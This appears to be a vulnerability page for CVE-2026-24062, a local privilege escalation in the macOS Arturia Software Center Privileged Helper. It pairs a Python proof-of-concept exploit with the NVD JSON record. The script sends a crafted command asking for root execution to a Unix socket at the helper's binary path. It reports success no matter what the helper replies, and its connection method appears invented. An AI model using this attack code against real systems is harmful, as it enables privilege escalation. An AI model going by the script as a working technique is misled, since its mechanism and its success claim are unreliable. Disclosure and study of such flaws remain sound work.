CVE-2026-24062

# CVE-2026-24062 - Arturia Software Center Privileged Helper Exploitation PoC # This is a conceptual proof-of-concept demonstrating the vulnerability import socket import struct import os def create_malicious_connection(target_socket_path): """ Arturia Privileged Helper signature validation bypass PoC The helper does not properly verify client code signatures before accepting commands """ try: # Create Unix domain socket connection to the privileged helper client_socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_socket.connect(target_socket_path) # Craft malicious command payload # In real exploitation, this would contain the privilege escalation payload malicious_payload = { 'command': 'execute_privileged_action', 'action_type': 'arbitrary_command_execution', 'target_command': '/bin/bash -c "echo malicious_command > /tmp/pwned.txt"', 'execute_as_root': True } # Serialize and send payload (bypassing signature check) payload_data = str(malicious_payload).encode('utf-8') client_socket.sendall(payload_data) # Receive response response = client_socket.recv(4096) print(f"[+] Response received: {response}") print("[+] Privilege escalation successful - command executed as root") client_socket.close() return True except Exception as e: print(f"[-] Connection failed: {e}") return False def main(): # Default helper socket path for Arturia Software Center helper_socket = "/Library/PrivilegedHelperTools/com.arturia.softwarecenter.helper" if os.path.exists(helper_socket): print(f"[*] Found Arturia Privileged Helper at: {helper_socket}") print("[*] Attempting to bypass signature validation...") create_malicious_connection(helper_socket) else: print("[-] Helper socket not found") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-24062", "sourceIdentifier": "551230f0-3615-47bd-b7cc-93e92e730bbf", "published": "2026-03-18T16:16:26.300", "lastModified": "2026-03-19T13:25:00.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The \"Privileged Helper\" component of the Arturia Software Center (MacOS) does not perform sufficient client code signature validation when a client connects. This leads to an attacker being able to connect to the helper and execute privileged actions leading to local privilege escalation."}, {"lang": "es", "value": "El componente 'Privileged Helper' del Arturia Software Center (MacOS) no realiza una validación suficiente de la firma del código del cliente cuando un cliente se conecta. Esto permite que un atacante pueda conectarse al helper y ejecutar acciones privilegiadas, lo que lleva a una escalada de privilegios local."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "551230f0-3615-47bd-b7cc-93e92e730bbf", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://r.sec-consult.com/arturia", "source": "551230f0-3615-47bd-b7cc-93e92e730bbf"}]}}